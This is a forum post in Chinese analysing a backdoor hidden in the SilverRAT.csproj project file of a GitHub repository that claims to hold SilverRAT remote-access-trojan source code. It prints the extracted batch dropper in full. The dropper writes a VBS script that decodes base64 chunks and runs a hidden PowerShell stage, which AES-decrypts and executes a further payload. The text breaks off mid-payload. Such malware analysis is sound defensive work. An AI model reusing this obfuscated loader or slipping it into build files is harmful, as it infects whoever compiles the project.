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[分享]SilverRAT源码工程后门赏析

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存在后门的代码库https://github.com/fullstcat/SilverRAT-FULL-Source-Code看到有公众号说编译后电脑出现异常查看文件发现是工程文件SilverRAT.csproj有点料这段代码抠出来还原一下是一堆命令

[PowerShell] 纯文本查看 复制代码

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@echo off setlocal set "a=%TEMP%a" mkdir "%a%" 2>nulecho b = "ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr" > "%a%b.vbs"echo c = "ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbXRrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=" >> "%a%b.vbs"echo d = "OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWXFzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P" >> "%a%b.vbs"echo e = b ^& d ^& c >> "%a%b.vbs"echo Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") >> "%a%b.vbs"echo f.DataType = "bin.base64" >> "%a%b.vbs"echo f.Text = e >> "%a%b.vbs"echo g = f.NodeTypedValue >> "%a%b.vbs"echo h = "%a%i.ps1" >> "%a%b.vbs"echo Set j = CreateObject("Scripting.FileSystemObject") >> "%a%b.vbs"echo Set k = j.CreateTextFile(h, True) >> "%a%b.vbs"echo k.Write l(g) >> "%a%b.vbs"echo k.Close >> "%a%b.vbs"echo Set m = CreateObject("WScript.Shell") >> "%a%b.vbs"echo m.Run "powershell.exe -ExecutionPolicy Bypass -File " ^& h, 0, False >> "%a%b.vbs"echo Function l(n) >> "%a%b.vbs"echo Dim o, p >> "%a%b.vbs"echo Set o = CreateObject("ADODB.Recordset") >> "%a%b.vbs"echo p = LenB(n) >> "%a%b.vbs"echo If p ^> 0 Then >> "%a%b.vbs"echo o.Fields.Append "q", 201, p >> "%a%b.vbs"echo o.Open >> "%a%b.vbs"echo o.AddNew >> "%a%b.vbs"echo o("q").AppendChunk n >> "%a%b.vbs"echo o.Update >> "%a%b.vbs"echo l = o("q").GetChunk(p) >> "%a%b.vbs"echo Else >> "%a%b.vbs"echo l = "" >> "%a%b.vbs"echo End If >> "%a%b.vbs"echo End Function >> "%a%b.vbs"cscript //nologo "%a%b.vbs" endlocal
去掉最后一行执行的命令cscript //nologo "%a%b.vbs" endlocal把"%a%b.vbs"替换为b.txt，然后把上述代码保存为bat运行一下得到vbs脚本

[Visual Basic] 纯文本查看 复制代码

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b = "ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr" c = "ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbXRrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=" d = "OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWX